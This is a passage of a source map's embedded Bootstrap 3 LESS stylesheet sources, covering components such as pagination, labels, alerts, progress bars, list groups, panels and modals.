&:hover,\n &:focus {\n color: @navbar-inverse-link-hover-color;\n }\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus {\n color: @navbar-inverse-link-disabled-color;\n }\n }\n }\n}\n","// Navbar vertical align\n//\n// Vertically center elements in the navbar.\n// Example: an element has a height of 30px, so write out `.navbar-vertical-align(30px);` to calculate the appropriate top margin.\n\n.navbar-vertical-align(@element-height) {\n margin-top: ((@navbar-height - @element-height) / 2);\n margin-bottom: ((@navbar-height - @element-height) / 2);\n}\n","//\n// Utility classes\n// --------------------------------------------------\n\n\n// Floats\n// -------------------------\n\n.clearfix {\n .clearfix();\n}\n.center-block {\n .center-block();\n}\n.pull-right {\n float: right !important;\n}\n.pull-left {\n float: left !important;\n}\n\n\n// Toggling content\n// -------------------------\n\n// Note: Deprecated .hide in favor of .hidden or .sr-only (as appropriate) in v3.0.1\n.hide {\n display: none !important;\n}\n.show {\n display: block !important;\n}\n.invisible {\n visibility: hidden;\n}\n.text-hide {\n .text-hide();\n}\n\n\n// Hide from screenreaders and browsers\n//\n// Credit: HTML5 Boilerplate\n\n.hidden {\n display: none !important;\n}\n\n\n// For Affix plugin\n// -------------------------\n\n.affix {\n position: fixed;\n}\n","//\n// Breadcrumbs\n// --------------------------------------------------\n\n\n.breadcrumb {\n padding: @breadcrumb-padding-vertical @breadcrumb-padding-horizontal;\n margin-bottom: @line-height-computed;\n list-style: none;\n background-color: @breadcrumb-bg;\n border-radius: @border-radius-base;\n\n > li {\n display: inline-block;\n\n + li:before {\n content: \"@{breadcrumb-separator}\\00a0\"; // Unicode space added since inline-block means non-collapsing white-space\n padding: 0 5px;\n color: @breadcrumb-color;\n }\n }\n\n > .active {\n color: @breadcrumb-active-color;\n }\n}\n","//\n// Pagination (multiple pages)\n// --------------------------------------------------\n.pagination {\n display: inline-block;\n padding-left: 0;\n margin: @line-height-computed 0;\n border-radius: @border-radius-base;\n\n > li {\n display: inline; // Remove list-style and block-level defaults\n > a,\n > span {\n position: relative;\n float: left; // Collapse white-space\n padding: @padding-base-vertical @padding-base-horizontal;\n line-height: @line-height-base;\n text-decoration: none;\n color: @pagination-color;\n background-color: @pagination-bg;\n border: 1px solid @pagination-border;\n margin-left: -1px;\n }\n &:first-child {\n > a,\n > span {\n margin-left: 0;\n .border-left-radius(@border-radius-base);\n }\n }\n &:last-child {\n > a,\n > span {\n .border-right-radius(@border-radius-base);\n }\n }\n }\n\n > li > a,\n > li > span {\n &:hover,\n &:focus {\n z-index: 2;\n color: @pagination-hover-color;\n background-color: @pagination-hover-bg;\n border-color: @pagination-hover-border;\n }\n }\n\n > .active > a,\n > .active > span {\n &,\n &:hover,\n &:focus {\n z-index: 3;\n color: @pagination-active-color;\n background-color: @pagination-active-bg;\n border-color: @pagination-active-border;\n cursor: default;\n }\n }\n\n > .disabled {\n > span,\n > span:hover,\n > span:focus,\n > a,\n > a:hover,\n > a:focus {\n color: @pagination-disabled-color;\n background-color: @pagination-disabled-bg;\n border-color: @pagination-disabled-border;\n cursor: @cursor-disabled;\n }\n }\n}\n\n// Sizing\n// --------------------------------------------------\n\n// Large\n.pagination-lg {\n .pagination-size(@padding-large-vertical; @padding-large-horizontal; @font-size-large; @line-height-large; @border-radius-large);\n}\n\n// Small\n.pagination-sm {\n .pagination-size(@padding-small-vertical; @padding-small-horizontal; @font-size-small; @line-height-small; @border-radius-small);\n}\n","// Pagination\n\n.pagination-size(@padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {\n > li {\n > a,\n > span {\n padding: @padding-vertical @padding-horizontal;\n font-size: @font-size;\n line-height: @line-height;\n }\n &:first-child {\n > a,\n > span {\n .border-left-radius(@border-radius);\n }\n }\n &:last-child {\n > a,\n > span {\n .border-right-radius(@border-radius);\n }\n }\n }\n}\n","//\n// Pager pagination\n// --------------------------------------------------\n\n\n.pager {\n padding-left: 0;\n margin: @line-height-computed 0;\n list-style: none;\n text-align: center;\n &:extend(.clearfix all);\n li {\n display: inline;\n > a,\n > span {\n display: inline-block;\n padding: 5px 14px;\n background-color: @pager-bg;\n border: 1px solid @pager-border;\n border-radius: @pager-border-radius;\n }\n\n > a:hover,\n > a:focus {\n text-decoration: none;\n background-color: @pager-hover-bg;\n }\n }\n\n .next {\n > a,\n > span {\n float: right;\n }\n }\n\n .previous {\n > a,\n > span {\n float: left;\n }\n }\n\n .disabled {\n > a,\n > a:hover,\n > a:focus,\n > span {\n color: @pager-disabled-color;\n background-color: @pager-bg;\n cursor: @cursor-disabled;\n }\n }\n}\n","//\n// Labels\n// --------------------------------------------------\n\n.label {\n display: inline;\n padding: .2em .6em .3em;\n font-size: 75%;\n font-weight: bold;\n line-height: 1;\n color: @label-color;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n border-radius: .25em;\n\n // Add hover effects, but only for links\n a& {\n &:hover,\n &:focus {\n color: @label-link-hover-color;\n text-decoration: none;\n cursor: pointer;\n }\n }\n\n // Empty labels collapse automatically (not available in IE8)\n &:empty {\n display: none;\n }\n\n // Quick fix for labels in buttons\n .btn & {\n position: relative;\n top: -1px;\n }\n}\n\n// Colors\n// Contextual variations (linked labels get darker on :hover)\n\n.label-default {\n .label-variant(@label-default-bg);\n}\n\n.label-primary {\n .label-variant(@label-primary-bg);\n}\n\n.label-success {\n .label-variant(@label-success-bg);\n}\n\n.label-info {\n .label-variant(@label-info-bg);\n}\n\n.label-warning {\n .label-variant(@label-warning-bg);\n}\n\n.label-danger {\n .label-variant(@label-danger-bg);\n}\n","// Labels\n\n.label-variant(@color) {\n background-color: @color;\n\n &[href] {\n &:hover,\n &:focus {\n background-color: darken(@color, 10%);\n }\n }\n}\n","//\n// Badges\n// --------------------------------------------------\n\n\n// Base class\n.badge {\n display: inline-block;\n min-width: 10px;\n padding: 3px 7px;\n font-size: @font-size-small;\n font-weight: @badge-font-weight;\n color: @badge-color;\n line-height: @badge-line-height;\n vertical-align: middle;\n white-space: nowrap;\n text-align: center;\n background-color: @badge-bg;\n border-radius: @badge-border-radius;\n\n // Empty badges collapse automatically (not available in IE8)\n &:empty {\n display: none;\n }\n\n // Quick fix for badges in buttons\n .btn & {\n position: relative;\n top: -1px;\n }\n\n .btn-xs &,\n .btn-group-xs > .btn & {\n top: 0;\n padding: 1px 5px;\n }\n\n // Hover state, but only for links\n a& {\n &:hover,\n &:focus {\n color: @badge-link-hover-color;\n text-decoration: none;\n cursor: pointer;\n }\n }\n\n // Account for badges in navs\n .list-group-item.active > &,\n .nav-pills > .active > a > & {\n color: @badge-active-color;\n background-color: @badge-active-bg;\n }\n\n .list-group-item > & {\n float: right;\n }\n\n .list-group-item > & + & {\n margin-right: 5px;\n }\n\n .nav-pills > li > a > & {\n margin-left: 3px;\n }\n}\n","//\n// Jumbotron\n// --------------------------------------------------\n\n\n.jumbotron {\n padding-top: @jumbotron-padding;\n padding-bottom: @jumbotron-padding;\n margin-bottom: @jumbotron-padding;\n color: @jumbotron-color;\n background-color: @jumbotron-bg;\n\n h1,\n .h1 {\n color: @jumbotron-heading-color;\n }\n\n p {\n margin-bottom: (@jumbotron-padding / 2);\n font-size: @jumbotron-font-size;\n font-weight: 200;\n }\n\n > hr {\n border-top-color: darken(@jumbotron-bg, 10%);\n }\n\n .container &,\n .container-fluid & {\n border-radius: @border-radius-large; // Only round corners at higher resolutions if contained in a container\n padding-left: (@grid-gutter-width / 2);\n padding-right: (@grid-gutter-width / 2);\n }\n\n .container {\n max-width: 100%;\n }\n\n @media screen and (min-width: @screen-sm-min) {\n padding-top: (@jumbotron-padding * 1.6);\n padding-bottom: (@jumbotron-padding * 1.6);\n\n .container &,\n .container-fluid & {\n padding-left: (@jumbotron-padding * 2);\n padding-right: (@jumbotron-padding * 2);\n }\n\n h1,\n .h1 {\n font-size: @jumbotron-heading-font-size;\n }\n }\n}\n","//\n// Thumbnails\n// --------------------------------------------------\n\n\n// Mixin and adjust the regular image class\n.thumbnail {\n display: block;\n padding: @thumbnail-padding;\n margin-bottom: @line-height-computed;\n line-height: @line-height-base;\n background-color: @thumbnail-bg;\n border: 1px solid @thumbnail-border;\n border-radius: @thumbnail-border-radius;\n .transition(border .2s ease-in-out);\n\n > img,\n a > img {\n &:extend(.img-responsive);\n margin-left: auto;\n margin-right: auto;\n }\n\n // Add a hover state for linked versions only\n a&:hover,\n a&:focus,\n a&.active {\n border-color: @link-color;\n }\n\n // Image captions\n .caption {\n padding: @thumbnail-caption-padding;\n color: @thumbnail-caption-color;\n }\n}\n","//\n// Alerts\n// --------------------------------------------------\n\n\n// Base styles\n// -------------------------\n\n.alert {\n padding: @alert-padding;\n margin-bottom: @line-height-computed;\n border: 1px solid transparent;\n border-radius: @alert-border-radius;\n\n // Headings for larger alerts\n h4 {\n margin-top: 0;\n // Specified for the h4 to prevent conflicts of changing @headings-color\n color: inherit;\n }\n\n // Provide class for links that match alerts\n .alert-link {\n font-weight: @alert-link-font-weight;\n }\n\n // Improve alignment and spacing of inner content\n > p,\n > ul {\n margin-bottom: 0;\n }\n\n > p + p {\n margin-top: 5px;\n }\n}\n\n// Dismissible alerts\n//\n// Expand the right padding and account for the close button's positioning.\n\n.alert-dismissable, // The misspelled .alert-dismissable was deprecated in 3.2.0.\n.alert-dismissible {\n padding-right: (@alert-padding + 20);\n\n // Adjust close link position\n .close {\n position: relative;\n top: -2px;\n right: -21px;\n color: inherit;\n }\n}\n\n// Alternate styles\n//\n// Generate contextual modifier classes for colorizing the alert.\n\n.alert-success {\n .alert-variant(@alert-success-bg; @alert-success-border; @alert-success-text);\n}\n\n.alert-info {\n .alert-variant(@alert-info-bg; @alert-info-border; @alert-info-text);\n}\n\n.alert-warning {\n .alert-variant(@alert-warning-bg; @alert-warning-border; @alert-warning-text);\n}\n\n.alert-danger {\n .alert-variant(@alert-danger-bg; @alert-danger-border; @alert-danger-text);\n}\n","// Alerts\n\n.alert-variant(@background; @border; @text-color) {\n background-color: @background;\n border-color: @border;\n color: @text-color;\n\n hr {\n border-top-color: darken(@border, 5%);\n }\n .alert-link {\n color: darken(@text-color, 10%);\n }\n}\n","//\n// Progress bars\n// --------------------------------------------------\n\n\n// Bar animations\n// -------------------------\n\n// WebKit\n@-webkit-keyframes progress-bar-stripes {\n from { background-position: 40px 0; }\n to { background-position: 0 0; }\n}\n\n// Spec and IE10+\n@keyframes progress-bar-stripes {\n from { background-position: 40px 0; }\n to { background-position: 0 0; }\n}\n\n\n// Bar itself\n// -------------------------\n\n// Outer container\n.progress {\n overflow: hidden;\n height: @line-height-computed;\n margin-bottom: @line-height-computed;\n background-color: @progress-bg;\n border-radius: @progress-border-radius;\n .box-shadow(inset 0 1px 2px rgba(0,0,0,.1));\n}\n\n// Bar of progress\n.progress-bar {\n float: left;\n width: 0%;\n height: 100%;\n font-size: @font-size-small;\n line-height: @line-height-computed;\n color: @progress-bar-color;\n text-align: center;\n background-color: @progress-bar-bg;\n .box-shadow(inset 0 -1px 0 rgba(0,0,0,.15));\n .transition(width .6s ease);\n}\n\n// Striped bars\n//\n// `.progress-striped .progress-bar` is deprecated as of v3.2.0 in favor of the\n// `.progress-bar-striped` class, which you just add to an existing\n// `.progress-bar`.\n.progress-striped .progress-bar,\n.progress-bar-striped {\n #gradient > .striped();\n background-size: 40px 40px;\n}\n\n// Call animation for the active one\n//\n// `.progress.active .progress-bar` is deprecated as of v3.2.0 in favor of the\n// `.progress-bar.active` approach.\n.progress.active .progress-bar,\n.progress-bar.active {\n .animation(progress-bar-stripes 2s linear infinite);\n}\n\n\n// Variations\n// -------------------------\n\n.progress-bar-success {\n .progress-bar-variant(@progress-bar-success-bg);\n}\n\n.progress-bar-info {\n .progress-bar-variant(@progress-bar-info-bg);\n}\n\n.progress-bar-warning {\n .progress-bar-variant(@progress-bar-warning-bg);\n}\n\n.progress-bar-danger {\n .progress-bar-variant(@progress-bar-danger-bg);\n}\n","// Gradients\n\n#gradient {\n\n // Horizontal gradient, from left to right\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .horizontal(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to right, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n // Vertical gradient, from top to bottom\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .vertical(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to bottom, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n .directional(@start-color: #555; @end-color: #333; @deg: 45deg) {\n background-repeat: repeat-x;\n background-image: -webkit-linear-gradient(@deg, @start-color, @end-color); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(@deg, @start-color, @end-color); // Opera 12\n background-image: linear-gradient(@deg, @start-color, @end-color); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n }\n .horizontal-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(to right, @start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .vertical-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .radial(@inner-color: #555; @outer-color: #333) {\n background-image: -webkit-radial-gradient(circle, @inner-color, @outer-color);\n background-image: radial-gradient(circle, @inner-color, @outer-color);\n background-repeat: no-repeat;\n }\n .striped(@color: rgba(255,255,255,.15); @angle: 45deg) {\n background-image: -webkit-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n }\n}\n","// Progress bars\n\n.progress-bar-variant(@color) {\n background-color: @color;\n\n // Deprecated parent class requirement as of v3.2.0\n .progress-striped & {\n #gradient > .striped();\n }\n}\n",".media {\n // Proper spacing between instances of .media\n margin-top: 15px;\n\n &:first-child {\n margin-top: 0;\n }\n}\n\n.media,\n.media-body {\n zoom: 1;\n overflow: hidden;\n}\n\n.media-body {\n width: 10000px;\n}\n\n.media-object {\n display: block;\n\n // Fix collapse in webkit from max-width: 100% and display: table-cell.\n &.img-thumbnail {\n max-width: none;\n }\n}\n\n.media-right,\n.media > .pull-right {\n padding-left: 10px;\n}\n\n.media-left,\n.media > .pull-left {\n padding-right: 10px;\n}\n\n.media-left,\n.media-right,\n.media-body {\n display: table-cell;\n vertical-align: top;\n}\n\n.media-middle {\n vertical-align: middle;\n}\n\n.media-bottom {\n vertical-align: bottom;\n}\n\n// Reset margins on headings for tighter default spacing\n.media-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n\n// Media list variation\n//\n// Undo default ul/ol styles\n.media-list {\n padding-left: 0;\n list-style: none;\n}\n","//\n// List groups\n// --------------------------------------------------\n\n\n// Base class\n//\n// Easily usable on
        ,
          , or
          .\n\n.list-group {\n // No need to set list-style: none; since .list-group-item is block level\n margin-bottom: 20px;\n padding-left: 0; // reset padding because ul and ol\n}\n\n\n// Individual list items\n//\n// Use on `li`s or `div`s within the `.list-group` parent.\n\n.list-group-item {\n position: relative;\n display: block;\n padding: 10px 15px;\n // Place the border on the list items and negative margin up for better styling\n margin-bottom: -1px;\n background-color: @list-group-bg;\n border: 1px solid @list-group-border;\n\n // Round the first and last items\n &:first-child {\n .border-top-radius(@list-group-border-radius);\n }\n &:last-child {\n margin-bottom: 0;\n .border-bottom-radius(@list-group-border-radius);\n }\n}\n\n\n// Interactive list items\n//\n// Use anchor or button elements instead of `li`s or `div`s to create interactive items.\n// Includes an extra `.active` modifier class for showing selected items.\n\na.list-group-item,\nbutton.list-group-item {\n color: @list-group-link-color;\n\n .list-group-item-heading {\n color: @list-group-link-heading-color;\n }\n\n // Hover state\n &:hover,\n &:focus {\n text-decoration: none;\n color: @list-group-link-hover-color;\n background-color: @list-group-hover-bg;\n }\n}\n\nbutton.list-group-item {\n width: 100%;\n text-align: left;\n}\n\n.list-group-item {\n // Disabled state\n &.disabled,\n &.disabled:hover,\n &.disabled:focus {\n background-color: @list-group-disabled-bg;\n color: @list-group-disabled-color;\n cursor: @cursor-disabled;\n\n // Force color to inherit for custom content\n .list-group-item-heading {\n color: inherit;\n }\n .list-group-item-text {\n color: @list-group-disabled-text-color;\n }\n }\n\n // Active class on item itself, not parent\n &.active,\n &.active:hover,\n &.active:focus {\n z-index: 2; // Place active items above their siblings for proper border styling\n color: @list-group-active-color;\n background-color: @list-group-active-bg;\n border-color: @list-group-active-border;\n\n // Force color to inherit for custom content\n .list-group-item-heading,\n .list-group-item-heading > small,\n .list-group-item-heading > .small {\n color: inherit;\n }\n .list-group-item-text {\n color: @list-group-active-text-color;\n }\n }\n}\n\n\n// Contextual variants\n//\n// Add modifier classes to change text and background color on individual items.\n// Organizationally, this must come after the `:hover` states.\n\n.list-group-item-variant(success; @state-success-bg; @state-success-text);\n.list-group-item-variant(info; @state-info-bg; @state-info-text);\n.list-group-item-variant(warning; @state-warning-bg; @state-warning-text);\n.list-group-item-variant(danger; @state-danger-bg; @state-danger-text);\n\n\n// Custom content options\n//\n// Extra classes for creating well-formatted content within `.list-group-item`s.\n\n.list-group-item-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n.list-group-item-text {\n margin-bottom: 0;\n line-height: 1.3;\n}\n","// List Groups\n\n.list-group-item-variant(@state; @background; @color) {\n .list-group-item-@{state} {\n color: @color;\n background-color: @background;\n\n a&,\n button& {\n color: @color;\n\n .list-group-item-heading {\n color: inherit;\n }\n\n &:hover,\n &:focus {\n color: @color;\n background-color: darken(@background, 5%);\n }\n &.active,\n &.active:hover,\n &.active:focus {\n color: #fff;\n background-color: @color;\n border-color: @color;\n }\n }\n }\n}\n","//\n// Panels\n// --------------------------------------------------\n\n\n// Base class\n.panel {\n margin-bottom: @line-height-computed;\n background-color: @panel-bg;\n border: 1px solid transparent;\n border-radius: @panel-border-radius;\n .box-shadow(0 1px 1px rgba(0,0,0,.05));\n}\n\n// Panel contents\n.panel-body {\n padding: @panel-body-padding;\n &:extend(.clearfix all);\n}\n\n// Optional heading\n.panel-heading {\n padding: @panel-heading-padding;\n border-bottom: 1px solid transparent;\n .border-top-radius((@panel-border-radius - 1));\n\n > .dropdown .dropdown-toggle {\n color: inherit;\n }\n}\n\n// Within heading, strip any `h*` tag of its default margins for spacing.\n.panel-title {\n margin-top: 0;\n margin-bottom: 0;\n font-size: ceil((@font-size-base * 1.125));\n color: inherit;\n\n > a,\n > small,\n > .small,\n > small > a,\n > .small > a {\n color: inherit;\n }\n}\n\n// Optional footer (stays gray in every modifier class)\n.panel-footer {\n padding: @panel-footer-padding;\n background-color: @panel-footer-bg;\n border-top: 1px solid @panel-inner-border;\n .border-bottom-radius((@panel-border-radius - 1));\n}\n\n\n// List groups in panels\n//\n// By default, space out list group content from panel headings to account for\n// any kind of custom content between the two.\n\n.panel {\n > .list-group,\n > .panel-collapse > .list-group {\n margin-bottom: 0;\n\n .list-group-item {\n border-width: 1px 0;\n border-radius: 0;\n }\n\n // Add border top radius for first one\n &:first-child {\n .list-group-item:first-child {\n border-top: 0;\n .border-top-radius((@panel-border-radius - 1));\n }\n }\n\n // Add border bottom radius for last one\n &:last-child {\n .list-group-item:last-child {\n border-bottom: 0;\n .border-bottom-radius((@panel-border-radius - 1));\n }\n }\n }\n > .panel-heading + .panel-collapse > .list-group {\n .list-group-item:first-child {\n .border-top-radius(0);\n }\n }\n}\n// Collapse space between when there's no additional content.\n.panel-heading + .list-group {\n .list-group-item:first-child {\n border-top-width: 0;\n }\n}\n.list-group + .panel-footer {\n border-top-width: 0;\n}\n\n// Tables in panels\n//\n// Place a non-bordered `.table` within a panel (not within a `.panel-body`) and\n// watch it go full width.\n\n.panel {\n > .table,\n > .table-responsive > .table,\n > .panel-collapse > .table {\n margin-bottom: 0;\n\n caption {\n padding-left: @panel-body-padding;\n padding-right: @panel-body-padding;\n }\n }\n // Add border top radius for first one\n > .table:first-child,\n > .table-responsive:first-child > .table:first-child {\n .border-top-radius((@panel-border-radius - 1));\n\n > thead:first-child,\n > tbody:first-child {\n > tr:first-child {\n border-top-left-radius: (@panel-border-radius - 1);\n border-top-right-radius: (@panel-border-radius - 1);\n\n td:first-child,\n th:first-child {\n border-top-left-radius: (@panel-border-radius - 1);\n }\n td:last-child,\n th:last-child {\n border-top-right-radius: (@panel-border-radius - 1);\n }\n }\n }\n }\n // Add border bottom radius for last one\n > .table:last-child,\n > .table-responsive:last-child > .table:last-child {\n .border-bottom-radius((@panel-border-radius - 1));\n\n > tbody:last-child,\n > tfoot:last-child {\n > tr:last-child {\n border-bottom-left-radius: (@panel-border-radius - 1);\n border-bottom-right-radius: (@panel-border-radius - 1);\n\n td:first-child,\n th:first-child {\n border-bottom-left-radius: (@panel-border-radius - 1);\n }\n td:last-child,\n th:last-child {\n border-bottom-right-radius: (@panel-border-radius - 1);\n }\n }\n }\n }\n > .panel-body + .table,\n > .panel-body + .table-responsive,\n > .table + .panel-body,\n > .table-responsive + .panel-body {\n border-top: 1px solid @table-border-color;\n }\n > .table > tbody:first-child > tr:first-child th,\n > .table > tbody:first-child > tr:first-child td {\n border-top: 0;\n }\n > .table-bordered,\n > .table-responsive > .table-bordered {\n border: 0;\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th:first-child,\n > td:first-child {\n border-left: 0;\n }\n > th:last-child,\n > td:last-child {\n border-right: 0;\n }\n }\n }\n > thead,\n > tbody {\n > tr:first-child {\n > td,\n > th {\n border-bottom: 0;\n }\n }\n }\n > tbody,\n > tfoot {\n > tr:last-child {\n > td,\n > th {\n border-bottom: 0;\n }\n }\n }\n }\n > .table-responsive {\n border: 0;\n margin-bottom: 0;\n }\n}\n\n\n// Collapsible panels (aka, accordion)\n//\n// Wrap a series of panels in `.panel-group` to turn them into an accordion with\n// the help of our collapse JavaScript plugin.\n\n.panel-group {\n margin-bottom: @line-height-computed;\n\n // Tighten up margin so it's only between panels\n .panel {\n margin-bottom: 0;\n border-radius: @panel-border-radius;\n\n + .panel {\n margin-top: 5px;\n }\n }\n\n .panel-heading {\n border-bottom: 0;\n\n + .panel-collapse > .panel-body,\n + .panel-collapse > .list-group {\n border-top: 1px solid @panel-inner-border;\n }\n }\n\n .panel-footer {\n border-top: 0;\n + .panel-collapse .panel-body {\n border-bottom: 1px solid @panel-inner-border;\n }\n }\n}\n\n\n// Contextual variations\n.panel-default {\n .panel-variant(@panel-default-border; @panel-default-text; @panel-default-heading-bg; @panel-default-border);\n}\n.panel-primary {\n .panel-variant(@panel-primary-border; @panel-primary-text; @panel-primary-heading-bg; @panel-primary-border);\n}\n.panel-success {\n .panel-variant(@panel-success-border; @panel-success-text; @panel-success-heading-bg; @panel-success-border);\n}\n.panel-info {\n .panel-variant(@panel-info-border; @panel-info-text; @panel-info-heading-bg; @panel-info-border);\n}\n.panel-warning {\n .panel-variant(@panel-warning-border; @panel-warning-text; @panel-warning-heading-bg; @panel-warning-border);\n}\n.panel-danger {\n .panel-variant(@panel-danger-border; @panel-danger-text; @panel-danger-heading-bg; @panel-danger-border);\n}\n","// Panels\n\n.panel-variant(@border; @heading-text-color; @heading-bg-color; @heading-border) {\n border-color: @border;\n\n & > .panel-heading {\n color: @heading-text-color;\n background-color: @heading-bg-color;\n border-color: @heading-border;\n\n + .panel-collapse > .panel-body {\n border-top-color: @border;\n }\n .badge {\n color: @heading-bg-color;\n background-color: @heading-text-color;\n }\n }\n & > .panel-footer {\n + .panel-collapse > .panel-body {\n border-bottom-color: @border;\n }\n }\n}\n","// Embeds responsive\n//\n// Credit: Nicolas Gallagher and SUIT CSS.\n\n.embed-responsive {\n position: relative;\n display: block;\n height: 0;\n padding: 0;\n overflow: hidden;\n\n .embed-responsive-item,\n iframe,\n embed,\n object,\n video {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n height: 100%;\n width: 100%;\n border: 0;\n }\n}\n\n// Modifier class for 16:9 aspect ratio\n.embed-responsive-16by9 {\n padding-bottom: 56.25%;\n}\n\n// Modifier class for 4:3 aspect ratio\n.embed-responsive-4by3 {\n padding-bottom: 75%;\n}\n","//\n// Wells\n// --------------------------------------------------\n\n\n// Base class\n.well {\n min-height: 20px;\n padding: 19px;\n margin-bottom: 20px;\n background-color: @well-bg;\n border: 1px solid @well-border;\n border-radius: @border-radius-base;\n .box-shadow(inset 0 1px 1px rgba(0,0,0,.05));\n blockquote {\n border-color: #ddd;\n border-color: rgba(0,0,0,.15);\n }\n}\n\n// Sizes\n.well-lg {\n padding: 24px;\n border-radius: @border-radius-large;\n}\n.well-sm {\n padding: 9px;\n border-radius: @border-radius-small;\n}\n","//\n// Close icons\n// --------------------------------------------------\n\n\n.close {\n float: right;\n font-size: (@font-size-base * 1.5);\n font-weight: @close-font-weight;\n line-height: 1;\n color: @close-color;\n text-shadow: @close-text-shadow;\n .opacity(.2);\n\n &:hover,\n &:focus {\n color: @close-color;\n text-decoration: none;\n cursor: pointer;\n .opacity(.5);\n }\n\n // Additional properties for button version\n // iOS requires the button element instead of an anchor tag.\n // If you want the anchor version, it requires `href=\"#\"`.\n // See https://developer.mozilla.org/en-US/docs/Web/Events/click#Safari_Mobile\n button& {\n padding: 0;\n cursor: pointer;\n background: transparent;\n border: 0;\n -webkit-appearance: none;\n }\n}\n","//\n// Modals\n// --------------------------------------------------\n\n// .modal-open - body class for killing the scroll\n// .modal - container to scroll within\n// .modal-dialog - positioning shell for the actual modal\n// .modal-content - actual modal w/ bg and corners and shit\n\n// Kill the scroll on the body\n.modal-open {\n overflow: hidden;\n}\n\n// Container that the modal scrolls within\n.modal {\n display: none;\n overflow: hidden;\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: @zindex-modal;\n -webkit-overflow-scrolling: touch;\n\n // Prevent Chrome on Windows from adding a focus outline. For details, see\n // https://github.com/twbs/bootstrap/pull/10951.\n outline: 0;\n\n // When fading in the modal, animate it to slide down\n &.fade .modal-dialog {\n .translate(0, -25%);\n .transition-transform(~\"0.3s ease-out\");\n }\n &.in .modal-dialog { .translate(0, 0) }\n}\n.modal-open .modal {\n overflow-x: hidden;\n overflow-y: auto;\n}\n\n// Shell div to position the modal with bottom padding\n.modal-dialog {\n position: relative;\n width: auto;\n margin: 10px;\n}\n\n// Actual modal\n.modal-content {\n position: relative;\n background-color: @modal-content-bg;\n border: 1px solid @modal-content-fallback-border-color; //old browsers fallback (ie8 etc)\n border: 1px solid @modal-content-border-color;\n border-radius: @border-radius-large;\n .box-shadow(0 3px 9px rgba(0,0,0,.5));\n background-clip: padding-box;\n // Remove focus outline from opened modal\n outline: 0;\n}\n\n// Modal background\n.modal-backdrop {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: @zindex-modal-background;\n background-color: @modal-backdrop-bg;\n // Fade for backdrop\n &.fade { .opacity(0); }\n &.in { .opacity(@modal-backdrop-opacity); }\n}\n\n// Modal header\n// Top section of the modal w/ title and dismiss\n.modal-header {\n padding: @modal-title-padding;\n border-bottom: 1px solid @modal-header-border-color;\n &:extend(.clearfix all);\n}\n// Close icon\n.modal-header .close {\n margin-top: -2px;\n}\n\n// Title text within header\n.modal-title {\n margin: 0;\n line-height: @modal-title-line-height;\n}\n\n// Modal body\n// Where all modal content resides (sibling of .modal-header and .modal-footer)\n.modal-body {\n position: relative;\n padding: @modal-inner-padding;\n}\n\n// Footer (for actions)\n.modal-footer {\n padding: @modal-inner-padding;\n text-align: right; // right align buttons\n border-top: 1px solid @modal-footer-border-color;\n &:extend(.clearfix all); // clear it in case folks use .pull-* classes on buttons\n\n // Properly space out buttons\n .btn + .btn {\n margin-left: 5px;\n margin-bottom: 0; // account for input[type=\"submit\"] which gets the 